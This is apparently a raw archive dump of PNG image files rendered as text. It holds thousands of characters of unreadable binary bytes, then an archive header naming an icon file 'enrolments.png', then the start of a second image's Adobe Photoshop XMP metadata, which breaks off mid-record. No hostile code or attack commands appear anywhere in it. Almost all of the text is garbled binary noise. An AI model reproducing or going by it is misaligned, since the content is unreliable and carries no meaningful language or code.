�"_�o��d*��B�7�����v����#��B��=���\����(�W�ت�a�(hѢEZ�d#��挒$Յ���^Q`�Hԕ����F5���4W�~!�hڴ��V�Zm���}�ĉ}�?~Evv������N�3��9iiiŽ�����Ӈ1c�0b�z��Y�t��tqQ�B02!&''�}�v֬YæM�ؿe��{�s�<�p�ׅ�%gޥ��5�c"77��M�?�Z�$�*�FcB7�0j
G��+
�ѝ1EQ4~�o�
��M|y̞��Z�Y���A7�^�$��<���ߍ��끇���O�4�N'��ФI��]�v�n�Z�IIIik�Z���?533s��n/�,[XXȦM�شi/�������Ӈ)S�
�@UU6l��%KX�b			��U�T�Œk�Zw���ol۶��rv��=�t^�[����k�/f�ĉM�[�Ĭ֤XP]3�QH�^�����gU���UQ�����g���@c����A��=l��a�ic���'�8�]��4
�ł�b9ޭ[�O���>UU�uFF��'N\���9�f��*v������Y���P���s��漦M��QUuC�֭����o���>D�-;vlyO�h�1;��J��%?ŭ��v	���y_�N�V(����PU��(�nx�
�'���=��$I�"�/����+h݀��`�,!�M��?ѪU�/ڶm����l�gϞK��={v��n+��1��9�������Y,�u����]�t9�s�N������#++�Ӊ�鬬��I��u��wc��2�f�k���4�g/���gYaB���w�9qAT=�I�$�r2�'0�����8�wo��h���(X,�#-Z��$""�ӧO�Ue���ǯHKK�t:K-70��9M�4�Ӻu�
M�6]�iږ���5�ͤ���"�4�h�CM�h.�O9,�.&E	�L�
�b�39�ؿ�����q�K�4q��8�܈Tv���(ysHHH�/�o1���J�(IR�'�/�+�D��;�K1�
x5(IQ|�X,�;u��EDD������v���G�	>ۮ]��V�u���8���
--�xU��i!<�(
प�]U)��O9d���k�a���ݤ��(}�
Aʹ�SJ�?q���!!��#t�zH��7������ui
{,]�t�^P��^�–�M���uaE5�7!@k�)�s^r�R�a��Yk���S�'gc��q�O�q�׍�;#��=A���tpx�
6b�=1&�W�	�v���j�z4���IQ��*?���g�U��:�:�㤯�b�ؼ�i�cB�Y�,vE59�,)�f���Ѻ��NQ��V��~���灢h������Lq*;;l]^n�5�|'�3��B�&D�|�u��n�?�h
4s}E`Ĺ�z'�����2�����25l8J�n(MU�h�<9B�Q	��wx�9>!���x'���_�Ga\�F{��K�_ŋ��X
|���W��aE.�d�pP�F�@�	�j��m8��įڷ}����yg��j�B�����ْ�������s�g��~���b�炪�����w/���G+V�FE�s�U�����B�����h���OdU��5��Q(�2��KQ�[�4�hN2(�`
�s����O�;W���W+�����׭�!�
�q8�r���?�,7�	��L���U�+�|��%�|���f|~ݼ��_������3��ģ����ׅ@��E���M����@Wί�u#�g2p8�Q)��ˉ��ˁ1&������9F
�+�zm�6�%J�T�&L͇���@
�`�}T�M�P��u�F�s�,��T!+�:�ݘ��֣�eY976�i�r�ϻ?8�$f�P"Q)g�����V����V��jf
b�Kh�w/�V%6��\_k�x��,�d�����Y80���b��4D�9�
ס��1�F�������?����~"׈��x��m����2ga���@YBT<gBTQ�h��F6hy��U4u6z�����9R02x.V�uМt`���c>�$�,h�:��
����܄�_
�|ON&���
̻\?>
t�e{$�b�x���A�(���PQ�((*�%�N*b��87�c��,�𓈮@6�!0
h����.����W{F�ڗ�yΠp�9�����B9o��"��:p;��(	��Kwi��(��(��7���AR�r�߀3��!���C�
#�u�N���-���Ѯ;1�y+���_Fo��ڙL4X2�#?aN�@ƪ�}ܜ��A`T�����#5���~�-m��}����q��>���W�b��?F��9��M���^B˗�ԑ�(�Ĵ��o4~��kU���u�5��sF��7����-�A#��j���8΍��WE�H`����I;ٿ���
��н�F�F݆1)�{
h)���Rm�b����=�#|ݠMQ�o=_b\�Rk���}ΡY	���a&[�1��J`�ID�e8��pf�B�:md0P��aNkf�!�|�`?�`��u�0������;��A�Vt�v֢ja�����;�BA~`�=�3�>�=1JE<�~�m˼�g���1�`zX�?��|�.���{�����߱�2Cp����L�B�
���E}�jR]�é����
_��H��[�Is:�
g���8�܎s��H&�cj�'�����(���pZo�����vI�
��2��[
x���Mj��U@��y[�Fz)�u�TU���5���R�8����l�1IDl솣�b��.���e>���}�z��dD��I�%��
uԿ0mq��0͇�i��b��<�)�fԡ>n��h��I�rBWM�!����[��[���i����~�q�-�k:��p1���i/�_�3}�,��d0�C/b�������}ܤJ	������n�1A�t�g1��q{�����p�h۽s�7�|���6�1�P�1F����跙�m_y���\����(�l�q�.4[�`���~픯%�O>�
��Q����q!�
)�O+���U�1��o
j�{��A��
�+PIM?ky�[Xr��9���Ϟ���P+|�_���]��n?����3�[%no0�}d�v��@�!��ʗ�ˁL�6�•��#�2`z-�6�G��=�d�B�W��]�ǎ����s�Ϋ'Ui*F��_�Ř�4�K�>}p`�w�q�{�y(�豎_|��?��H	�Ea]�o����pS�ʼn=.���K�x��%�u]�NTf7�r&:p
�#s��c��܋��Wr�e�͓Q����U����$����|h�h
�v��������[�9��r�}?c��X�"����2cǣ�&�I�tN�(�F�T�4�@@��<�=
#8��ŧ����a�]����]�0
����]�Bř�z�C/a��I=*�`d|P�G�%枾�k�Χ�F'�(L�f�^+�Fg*#P��x�\���F
�\�Q�G���a�&Qw-��C����e0
��bJ0P�Q�u��
u�S.���,O�%0Y�qL;�����m��;p�/z��ˁ%�mQ�0��uǗ�{q�����\P�dx	�ş`^c1M6�e
��L���O1o���Tϣ�u�Ѐ<c	��}����n�t>\�nF���H�T���끇�3�uXti�r6��,G,����۞B���>�O��u�Y���C����He5��mʸd,	�QwV�U���1��
X'�ڋ�Y���Q���#�
g��|ݦ����t�ֻG}�
�\�B�Ř/z�Z��h cœ_�On8�0~�D`t
|�y�|�b����cqf�?�c®�=��t�C�7�<I��b���(���f;1��7d�c�����KQ��p�`�Kjn�y��)F���+w�M`���B�8"_���(Wa�1�U�
����i�}�6/,�H��%%�3��an��zyI��'�;梷�\��L߶����x������+�$ϑ�@=t����ߏi���f��X=ַ������j`t�ĔxK��$(U�N������pvr����@]K�xݹg�S�L�6G��@=���i@*~7�&Z���q�R�7�
Зm��@��&`�?��3Pw��g}
S��29B�<��#݈35�(<���T�^V:!l��p�OɤC\xI�j�,�(�m�C�w.��H����`��Q���/@(@0�u�����CyD_[�`
:~x���BqZ��(�@��ķ�;���P����=�䓥����b���={���<����ٳ'������p��YN�:Enn.�n��Jvv6�O�F�4l6�����E�=8s�V����233���
33�=z��j%==��'O�����iL�0!(???2%%%*##����5M�XXX�)777�f�Ej���#88xiDDĒ6mڬݺukn�.]���>|���(
IKK#44��͛Ӻuk6n�H�v�0���ڵ�:`��9q�aaa���Ҿ}{233��?<���11�;��A�扃V�L:d$j���f�1�{xm���Q��0����s1J���
�k��H`pЦhC�S7�{�@��A�ꝡ8ΫCP��c�";�gS׏��D
p"�v@G����ϟ߶��0��pTT��XFFF��G����{�[��Rb
p��N�;�x+Π+�[�*�J�z'KU���4�iL$!xm��6�ƅw��+X��[��2�М��@`Ƅ��1�fh�q����3%��B��hlD0�S��^��.s���h�;��d�؅���K�f��ns��`�J܂sW���3x�MƸ�:`L�tڱcG+���t:���+//�S^^^����[-�鈈��7˹p�7���I�=/aj�e�/D2h��Q�s/l@��U�����JN6<
��8�`�@��Hњ���bt�0>ؚ����N�+���$���(��wa�5%H������ծA��>�h�%�^|�NO	S[�J�H8���8�&8��I��ߠ�p���<oZ`\��c�'�����[���E]�u��p4OMM�<55�r��TЬY�-������0�
��1�5�6��Tn,����E!s_�4_�/]�߆h��h���Z1��
��~(��G�7Ei��8H�P���y��g|q�&V��w5���“��
�Į�(�SSM8ww�h�q�:����#�Ng�_�ݥiZ��S�F�:ujā����큁���M����I�+5���a�]��o�d0��D�aLq�~ց���M�
�#�d�%��J�(
�@p* BQ�`G[���(�P�Ǡ���m*l�T#�Q؋
!!�t]S����������\���IC$,G��j>�c]�X����[;��N����֩����������;��l�jڴ�f�^�e@]�x
X�z��
7��a��$T�?����+����g	c�1�E�C��]K�t���2aUQ��#t���~-*�e��#h¸�,Ø@뮨�������GT�k��t:CO�>=����cUU-l֬�V�ʃ�c,��V��*`���O�L���H\���B��B�q�vE�瞻�Y�f��^
E��v���^��ԩS�B���7�I*�P���U`L˜Y_�2K�?��?SSSe�+�kDpp�ޘ�����=����q�3�g���W�ʥ�ri�$�[%v��e�_f_Q'C;������A6��y�|�l�ip�W�SNNN�6l��(��K��Kظq#�W�&;;����	!������a�߁'�m�C��{�\R	2��zȄ����ٹ|E�M0p�ȑN����B1�Dy@*�g��D��dʲ�������,�{999��\��T��ʑ#Gn1bK�,�b1FƎ=ʖ-[X�lK�,���h�N�o�~v��Ϳ�z�,5�.�����0��0D�HR=��tN80��ι�on�L���o4�`�Y��1s'L��x�1�k{�A��Z�u������2&&f;ƒ5+��Q���={�G[�={�7��3��v��Ѯ];���Jrssٰa���c��>|��M��f͚ѵkW���j�W^�o߾�fdd<[GM�x3
�9q�?J�::o�&�I��F�n�V&$��U�ƣ���#��7kg��p��ȹ�ұ��?��q/���x�C�s���n׮]�����
F0`���u^0���R�m��n�ѣ�8AAA�;��c���/�z�j�͛�ҥK�E`B�N��ӧ�
�_�~t�֍-Z��c6��M�2�U��~��.��|�2��o1�`��`@��f�r��n9�I���6^Os63#�i-���$lF�?���;�������<�J���)��t]�Ϙ.u
��O�4*�Q����#0н�2!!!L�4�I�&����ڵk�7o����1����G����ի`�DGGӶm�r�J�,X�����?0��֥o���GД���^���$�SE	���,^�x
�:ϛ�KxsW��t�R���[p���.]v���_�\tOg�\h.y�b!������Ǩ�a��'&&}[X9��j�;88�	&0a�rssY�z5?��+V��СC�>^u���Ӽysz���4h�z��C�����);;���T�4i���/�(��gO�']�B�Ո�#QZx����$��R�;P�P����{�|���M�6ybo��t�6k����1=��佂Y+��81����'�w[��r�(�(��ӨQ���͘?~���<{�l���ĉ�8q"yyy�޽�ŋ�`����kl�@����f���ߟN�:Ipp�Y�������Ke�ܻ�Nr���f~�vz$fx�$��ʇ����}��+o�kٗ_�0����|�N+�9��^���@ੑ/ܒ�m���E;�N��(8�N����s7'�ᨨ��v$Y�L�2��/��l��U͛O�
>����u�����ŹuΪ2h�

�O<Abb".d�ܹlݺ���/QU��m�r�EѿH�~�h׮]�I��d��+<x���p������ЛT��Tk2��zl����ةS-���s奧��VM<�J#4y��e3>�nEy�<�̝�>���+2���jK��]Յ�GHH�����/f�̙h����C�>}x�Gغu+.d��l߾��ADD={�d��c��;w&(��z���			aݺu��;w�ϯ�+�
ҡc"�%�
�H�T��N���}G����]�v%6%$�\�`�(������~��������.�>5g�G����ġŹ�~(X������<j����&WVԻPbi!�۷����k�-[Ɗ+=z�g�UU�{�z�)��E���޺�Dff��+K1��֕��IqK�nB�P��ntd0
I�X$
���(++�ȑ#��{���)�=k�ꚏw�!�<�+���=~�׌@`)f��2����]�(��;��ccKe��}�����̮��_y���3fQQQ����,j_xxx�YYY>|�8���9|�0��
زeˇ&�)�y��+�O12��A��q��so�Pn�|2��z���v튆I��q�_�m��zM>�W���^{͇_zێw��&z��g
xFy ���L
cV�ێ3*��ر�ٜ;f̘��ϟ�,---��n�I�&t�ؑ��X��∍�%**���-�f�y�[�̙3��dzz�j֮]Krr2����z�+T5MJKK����6����m�^m�a-�Dm�Jn���$�s#P���?�r��s����lM���NS��G�K`��o�L0��}��
�FT�:�Q�
���jcS�އ��jAу����ܹ��;w��Gʀ;v,�ƍ�O�>��Ҥ�g�����ILLd�ڵ�Y����N�<��sM&��U�VUU�кu덭[��YG��N!Z頩2߀��`@�깩�{���v�ز:�����O{��~[t+�55��q�
D���z(�L��7l�p����"����
I��{rr�	!*�����b���,_��'�x�=z0j�(ƎKll,�[������4�#�@NN۷ogժU�^��m۶���V�C��?�e˖�Z5��ҁm
��I�^#�I��B��Q��
?h�?���6ɓ�W�mo���h�(��/��<#;;
�C�hv��b����u��뚦ET�%�`����޽�ٳgӴiSȥ�^�رc�۷�[�4M�f����HNN�v�bݺu�^����x�=Z�cX�Vbbb�6m�=��#%6T�$���َлʚE^#�Ij�����|�|��/<��͏/}�3O���y���n��g��C+��B��"�g#b�
H��!�ccc�>|����ԙ6��s�	�����`ٲe,[���{�^�z1j�(.��z��E׮]1��M5M��tb�Z+=~ZZ���g˖-��#G�T��EZ�h�ٯ_��qqq['N��㢋.J�?���^�d�݈<��k*)HR���P�-t닏?>�N�y&��Ze�!���wO��MnFet=��}Qԕ\���g������7�l2dH�3f�r�J9x�
���nL��;رc�~~~t�ޝѣG��_L�f�BQ�Ʉ�n'4�t����TX�f
k׮eǎ���d�Ʉ	�N�:u�ȑ#��p�
	5>�wH@d2���`@��0��M8�^}��w����n}n���K�?�V�Y[[�ڵ+z�;����	���P��}T�5�y�pG�����Ν;������[Bp��qv��MBB���$%%q��!l�r���n����DRR���Z�b�С�7���h4M�n��f��.]�ʕ+IJJ����E��=�iӦm3f�ב�����O�c�a��Sͮ�Z��;\��*݈J8f�@�[~�P�5O<�Q�������C�?3���w�7
���o��
����qڷo��Ç	

�-##�U�V)qqq(�BTTQQQ�70.�dǎ��dzu�V���ñc��^HMM�����l6��:o��/��rm~Z�lɘ1c�6m�G�.l޼�l��S�N����)���oYd0
I
�dT&��:��fw�}^PX��&�T��Cֹϵ�V.T%00�m۶�}8�9x�`HE����G���у���0&�<x��۷�e��l�Brr2g�Tެ��E��5����ѣ�>}:cƌ)*ͼx�S����D�(�Z���$5P�Q�ʚ�\���onױ�v��ޤ
?��`��ϯ�?�IF��3�~ؑ����@���F�M&���%�[�n]Vvvv��@y����۷/}����o�ԩS�۷���$���ٷo�w�����&�qW�޽9r$#G�d��ѴhQjx=x��V'�t�gjUH���$5``b<��ǭ��?��Œ9�K�NM3X�f�ѓi���=ۦ�9w���@@;���Q�c��������W�yI"##���d���ŏ��瓜�Lbb"���$$$�o�>�rt�ޝiӦ1e�bbb*Jx�
xX������H��$5`QH����܆��#G-�P[�����w�G��{�oA�ū����b;��.���ڹs'����"�Dyc�jҤIq���7����~�m�ƦM�HHH
99����u�ƤI�����2d�f�=�L�@@Q�ˀ@+����Ǐ�9̀1�cg�1��F>��pȋd0
I
�?P�J�c��#������N���F���]
꺎�N�݇��3x�`�w�����7���_͠A��=�۔�ۤ(J{�@ɊL7,Y��븸�j�����y|3pFEM��ʋ�+I�@e�/Ou�_(�
\���&��-����������
��w�>����1�A�ѩS'��r-[��N򣯀w�~P��܁�M�\�
�!�3�̯�r��z�o�ĉ�Ԡy�7�����%NA��0�R����,
(��D^��F���$5(VМ�g[��j�%&&�[�~��#���|��㉏���w�%00�=z0x�`���4h�z��x��"Ee��\ep�(��
��f~|��Ø�xk�����)�ȴ��{��F��5B������O&�0njbR�,���E�2)�3Ÿ����C���j0&n��$B/���$I
���RT�u�&��)S��IHHx�СCWW�o^^^qpP�s��4�#FK�=<�����+�~Pe80�m���s��9J�\��r0��?w�,�Y�y�_��=�=z��β'|,���ӥ�&��ݳ��
�cy��;0���_�?�(H)y�$IjPBQ����fT3�@���홙��SRR&����|��w(�B�N����a���>�nݺ�U��<E����q�w8�Tay�r�t�Y;�C-��/�X��(ԆC4M��O?�c�Ao��ob���W�˩`DF�4��r�崭*�V���%y�$IjPB���C���-+V��e�ۃy��'�СK�,a�ҥ?~��	!���o����B׮]<x0#G�d���
��
���7`K��Z�uT|s��y)��v]U�%��?����Q�cZGYxI���
T�i�V��{�(���QRY�H�ԠD��]W���>��p8}��0���~��~�k����
�y��?��P���ڵ�]�v��g�C�a�ر<�N�:�����,
������ټysyK����5��B�Wf;���l<d����N�����l�lԬ�d�p_�Pnd0
IR��
�n��V��۷o��4��u�]Wj[ӦM�>}:ӧO��ٳť�-ZĶm۪]�dp�駟���O�n��ѣ`ذa��ݛ��0��*�ǹ��6l����֭[ILLܓ�����ӭX��`i�q�����nR�溫��Ǘ9�Z�~ϔ3�s?gM��lh�R݉�R5�`@��eJ���V{�߱c�:�jՊ�Ȋ;�5k���?~<�>�,[�ne�ܹ,X���;w֨݅��$&&�����@�6m�����K/�S�N��f������?.\Ț5k8r�H��l������g6M�|]�����k�+
�,6�`512_#Ԧ��������v,e��Y��rU����6���7�.H�w,���K�	�w�d�ڒ��$I
J�s���}nff�?���7�L���ÿ��o6o�̂X�h����mB))))�����/���jU��*�6;S�M��P��0?n�<w��Z�N+�'4@p}S?>Ͳc�K
��ϻg��o�
��Z�qn>�Af=w�@M�������T�R��`@���׹`�Ou�ۦM���RXX���,^��.???�
ưa�x��زe.��_�u`TZ�HQڶm���C\q�ر�_g�ܱ4E�s��+nh�ǧY�ҁ�fŹ>-�Ōou���4����*�U�~�(-��O�H�ԠtB��B��X�V^�y�BCC�ddd���OHH�
�b6�:t(C�婧�b���̟?�ŋ�o߾J'�CUU�t�B\\\q�Ν;��9���*�O�M��U--
G��(8��w5�gN�|W�RKw���~�M~�p��
�e0�U2�$�AQ��(��Ɗ�c�n�ҥ˞m۶�ӧO+�_�~i��b)./<k�,���Y�b���cݺu���T�\��D�v툎�&**��Ǐ3|�p����֭[�BE�.qB芢|(�f�K]�+�S&��8Y��|�i/�tP��"�sژ��Y�%E!ޡ���3qO~�k-ū"ֺ�Ud
@$J�Z�9 ��d0
I����:�n�b��bT6������ۚ4ir$//�Â<�d6��ٳ'={�����СC̟?��~���+WJ�>}�ׯ�_�~t����L��n���g����v�K���v
��Y��(��wE��T�X��0�Bk
ݡ1'ď�m�$�L?���%�WSF�VZi��T�I��Wt���}׊�U�d��a��
��S϶j��7�w�}�C�*�u���;2s�L�Ν��(��dժU�����t�M�����~��g�y�E�Cs��gċ7�:�*��*�qnh`���:h�	nP��Ȳ�R�x2ď�Ɯ���Z�u�4T�y��d0
I�@х�.��V��s+�9?��l�9U)44�1cƼc2�l'O�$..�7�x����Z��W%??!��H����vB�<q�Ʒ�~���Y�1�O�!�oYvT]0��
�Jw.})߸��+݆"��s���������D��8�d0
I�@����8��ng�����H��Y���n��d�E��@0��O���|�Abbb�߿?���?X�`'N��`k
E����PKwvB||o��d9�Tz�x�]�&,�&���؜��Z�O�W]�|.��&`�.��@@�c-PjV�Ar�$�(�5֜��!!!��%g:ZٍP�G�Yv����HOo
���Ie&��x��O�S�NWFDDlRUUB�k�.�~�m�L�B�^�����`ѢE�>}���-�,X�`��;;)��P�	�Z��0���B�?�,DXU0�)�6�w����*6z���k�{L��"k�HR#P�m
8o��_��gX``!e�<m�k���ű�n��l�ɹ��`T��)�>ޮ��1��7t��z��xxx�&\(���lٲ�7�|�I�&ѻwo���j>��C���S���p.(�:�Z���z���Q��6zF���	��s2�����g�ѿ�נ�\��L��k��=
�`����XI������k��m�Z��R5����}�gedD�7��,88797��~�<|���5Ѳ��-��ĉ���CE����0
�(�S]�l<x𬌌�������=:9//���Z�q��)�Ν�ܹs�Z�DGG3z�hƎˠA�h֬Y�'**M\�`�f�������Y�z5[�l�vc��0`jk�
�*@S�N�M���Y�r�\&��T�2
��Qv0��͉b5��ܲ¦��S����0�
���K.���a(U�xR�ɞIjF���k�ot�����ccc���
�
����_~��e�/���K�ϓ�Ԣ8�o8����̀bƌ3�}��O���o2�L�/��fc˖-���kL�0����O>a߾}�h�@e���n'))��>��o���}��̙3��8t��
���e/HQ���d
ϡs]����V�����4�]�r���L�#�ٜ��_����]c깉��hOy��5]V$��g@��0`4*+
�7o�<�n(�=�����_��P�CE��C�����	#G.�|k��V
�ޚp)�4/ݗ܈�kF��<thlu}=7lذ�Ǐ�";;{lfffo��Y�.--����ߟ>}�0f�F�AϞ=����/*]\T��L����l߾�5kְi�&��ߏ�Y:�O	=�K����}h�J�,r�:�]=�@�`L���K|��B'QV3)�C0��oG�WҞ�1�^<��ڕ'�����$5#PX���˻�R��e�\��֑���x��+�B�K|4,D�St�X�2nz��g������:lOW�X/U��Fa(
!��y�a��뙾}���Z�q����9�n�ߩ�i�&6m��K/�D``
}��aʔ)!PU�
6�d�V�XABBii�&�b��Z������۶m{���֭[g��@�2۾�x	�v��U�
&��p�/��_J��ܼ��U��]��GI�Ҧ�ϕjH��H����c͚�8�=��v���G���
?�	N�������Ј��o�}V��wE��7;��w��ʹ��cbN���`�����>�uFF��'N\���9�f��*v������Y�ޘΠ(
w�uW�'0��yM�6ݣ��֭[/߲q��#U>�5�O��%6�V�
������߹L���U����J,����F���;�OL֪v�<G���F�"&�r&;+��>?Pv��{�?���3"U5�Ct�®�J�F0'ND�!C���ƫe��3����ŋ��ӫ���0����um���3fL��;�ڪU�_���2�۹�Uf�9'22rc�n���ի�����h`ƅs.Pe
�nݺ��}}�l��	\�Qbp��4�	=�*�L�3�tW�3��|��N�W�&��
������dq���$5"��r��~���	o�
+����w,���g�0������p���>Eg���.�x��+Ǘ�ߛ�ﳽ99�נ%��ALE���l_/;��31����C���m۶����ew4��9!!!�{���Nll�U�1�Ƥ�j�I^�n]0p��j��@��`6����_�^�`
�jVY\f�X��I����e�6��4~W����*��0@��U��zd0
I��TT�BeOvV�����yz��_�������
��8�
'�l��ľv�����-8�B�5/�����;�7w̽��?�]�{�܍�pb\�F��I+wW�A߾}����o	

�Ӷm�/���+F���;�	�.ʬ��`d�k;���cXa�Ee��s��*5`?��=��V�ڏ���S7-y�R�-�ۜ���S�'gc!��w'�t�8��N4D΃�f��%|[�~[^K���_�y��SO8a%�Ţ��J�D@N�R�̼����������'R:߉��:���/+Vb�7&s�;fc��	�<�9ʤ�Y�:[���.T&ךE�2�c0j�w�\I9BJ��n�/p����B�3
I�M$
�c������w�/���o�C�g����V��еysT����X�2L&�lB��l��|ꦋ�-z��w�[�qo����F-I>�yib"����1!�1�)�O%Nc�a�K<~n�c��z����/�&�TN�
�L*j�7TڹMES0�.Y�B�
�9�3����[p/�{�/'\���MU=��')jjjj����֊��ݺu�}_7�r�__0jɒ�bP���LW��^G�!�z��1�޻�/S�_��+�a��J?�����g���=�c���+�B�<`橂�'�δ�x��M�'PvB�H�^���\�S�Õn�g����2��[q�	:m�����-�7�_<}���w��0c��U������.>z�ف�8�#��/��!��D?�1���T������X)��*F���c��=�TU�٬2�^��W��k�Nlƥf���%����k��Քd0PLRc6'��9SG_��yk��{fz�دOy���y惽99��QX��N>~�-Bg��l���i����d�L�(P�H�p��g#F^�a�>�R������_���l"F3&�5�|��p��O0V-��#�Q�1�q�jVT��d0
��b2��9�<���@נ��W�xӫ3��[��h_�n��g|;��g��y��g
���|���Y+vN�g$�Y�q��~���iƵ�]9ۖ`�韷��M�3*�p{��`90*
e�Q,#�rB�`��$	N
x�o]Y�z���Msɼ�S�~;���VT���7w���믗o���{�����Ǡ�wL�x��U>��G�1Q�a�5_���bt��\�j�`������y-��Uξ�*�~��%�OJ�`@�d0
I�,C��|�

"���^�Qݖn@ef����ѹ�.�cL�O�m��~C~b��u��"����$�o�e�,C���J�
ڡ0�i�L��z*r;N>2����v�|ۢF!�t�([Wa���`@�d0
I�S>�G�~D
FB��4�����I�p�~m������`@&�$��k��90�H�w𢏛�нL2A�f,�|H��`@��F�
�a6�F����ݾnSu7����,��\(�K$d0
I��$T��\4V�0͇�i��b����t|*j���#�!�I�$�nT5z�M�wE���|���nyS��$�O�$I./b�.�c��t�8߶����Ţ��so�u�$�(�$I.
�>fn6>�`�|���F�_S1^�&P6���G1RK
H�$��c�Z�=?r~*]�r�`�n~#Q6l�r��JH%]�d0
I�T�
�s�G�9f�C`u\D�R0�~���n\���j�=�.`2�$I*�����1Sb��@�Ov�
�x}��b�澊��d0
I�T��QY�Y	F���@7�B��u��B�����49G�ސ��$IR&��
��J�X�Qu������z�K8ۉ�v-j7dv�z���C�$IrK��_��X�W�?0��ƨ��*`�u�1���@i��vI5
�I�$75~��f.fB��ǣ�D���%�����6C�G�w,�ܵ	��mR
�`@�$���D%���4�
γ��4���c�����a({�a�ߊڛ�5H2�$I��H~��r!fZ��at������m^0X���©��O��ҩ%J���&y�$I�j�2Ta	|
�����X߶���b��1�r�t�~�W��,�m��)2�$I�%?�AL���&��	�K�`��6VC
F{0�g��;Q����<�~�ЈԀ�`@�$�C��a�8~�g1
6��	��Fp�}��C�1�	�/rĔ���>s�p�W�
Ea|���,�݁=5}r6�e�QI�<��
�7�2v#J^HS���B`�k׺��&Wm�6�C9��܅����A��&O�/p����B�$I�$���Z���C��:`-��2�Є��@`F/���%��'�ǔ�2��
�`@�d0 IR]���=���8���
8�g]�׀,@�����4s����
�ڕmJk��1(g�EM��:�1~
�`@�d0
I���!X�������^���Ba$ʉ�(�Q2o@�R~��`#0���$I�YK��0�'���B�<��?��?���K&��J.�(
�
��(�0p6GJa{��N(��Pr�Q���	�K�J���$I�D������OQ8�Y.�K5r�-o�$I�$���`@�$I�9H�$IR#'�I�$Ij��BI���G��E�H��c�!�>l�t����$IR�,��2(I���$I����`@�$I�99L�C9�%I�!�N��PJ%-����/'y���y�%I�$���P�0.@:�t������h(����
�$Ij(Ƈ�
�⯔x\��]dC�3���J�$I$0�%��@��C�n�'5�`����FH�$I��_7��J0�
I�$5
G�-�n�'5�`�@��!I�$5xoN_7“R0����FH�$I
Z<��i
)����!I�$5HG��i`�������u#$I��%�8��vxEC�b�>n�$I�T�Ÿ�
���-^�a�U�����/FF��'0�׍�$I��t``�uCj
8�ѣ��s��U�1"�;�pO�T�$I�$����N��XU0p�!2�$I���
c��7%BT8g�!�Gd 
I�$I
E8�5�d�
��|ZG
�$�;r�U�	��h�1����m�$霻��P�0Ao`3�M+I��,�E*�0�́��}�I���O���a�7���$�g��qa`LZ��D�.��|��0Ao
�G��$�����u#ܰc�@�$�(��Z�g�:�5E�$O���
p�_7@��bWC�����!�$y�&_7�M
��$�s�@�`���"I�gh�n���n�$IźA�`@��������h_7@��bM�t0p��>�$�zn�u�4��
�$��J�}�I�<�6
�׍���e�n�$I�C�``�O�!I�'��q��И1Ҝ��H�T�6(�g�*�z�$����1J�����x����"I��B�-���7�$I�$5G��Bg�a'�$I�$IR�z���.DN�$I���l0	ʯZ
��E�$I�$I�x�R
�`�l�B\/ň$I�$Ij8Q"(R^0�k�I��@�w�%I�$I���a\�'Q&�����\	L�(;*WH�$I҅�(�����SEs�T�J�$I��=n�(H�$I��8U4g@�$I��FB�$I����`@�$I�9H�$IR#'�I�$Ij�d0
I�$I��$I�$�������[����(�9�9�9��,nRH"+�IEND�B`�assets/images/icons/enrolments.png000064400000100520151165724360013332
0ustar00�PNG


IHDR,^ɰ)	pHYs��!iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-02-28T18:42:42+03:30"
xmp:MetadataDate="2021-03-16T11:51:18+03:30"
xmp:ModifyDate="2021-03-16T11:51:18+03:30"
xmpMM:InstanceID="xmp.iid:459b6e80-183f-2d4a-a05e-435c53040676"
xmpMM:DocumentID="adobe:docid:photoshop:213e43fd-7877-cd49-9b05-d0ee0f62c4ec"
xmpMM:OriginalDocumentID="xmp.did:0cf601c2-8342-c442-b65e-8caf31bef885"
photoshop:ColorMode="3" photoshop:ICCProfile="sRGB
IEC61966-2.1" dc:format="image/png"
tiff:Orientation="1" tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="1" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:0cf601c2-8342-c442-b65e-8caf31bef885"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:11432056-a324-494c-896f-7a679d266397"
stEvt:when="2021-02-28T18:42:42+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:4b522794-a326-3248-a356-8d64d57f9877"
stEvt:when="2021-03-15T10:29:30+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from image/png to
application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
image/png to application/vnd.adobe.photoshop"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:23de6463-d8e2-1d45-af83-1ed452b2fec8"
stEvt:when="2021-03-15T10:29:30+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:edd82dfc-b859-7f42-a421-22772876b9cc"
stEvt:when="2021-03-16T11:51:18+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:459b6e80-183f-2d4a-a05e-435c53040676"
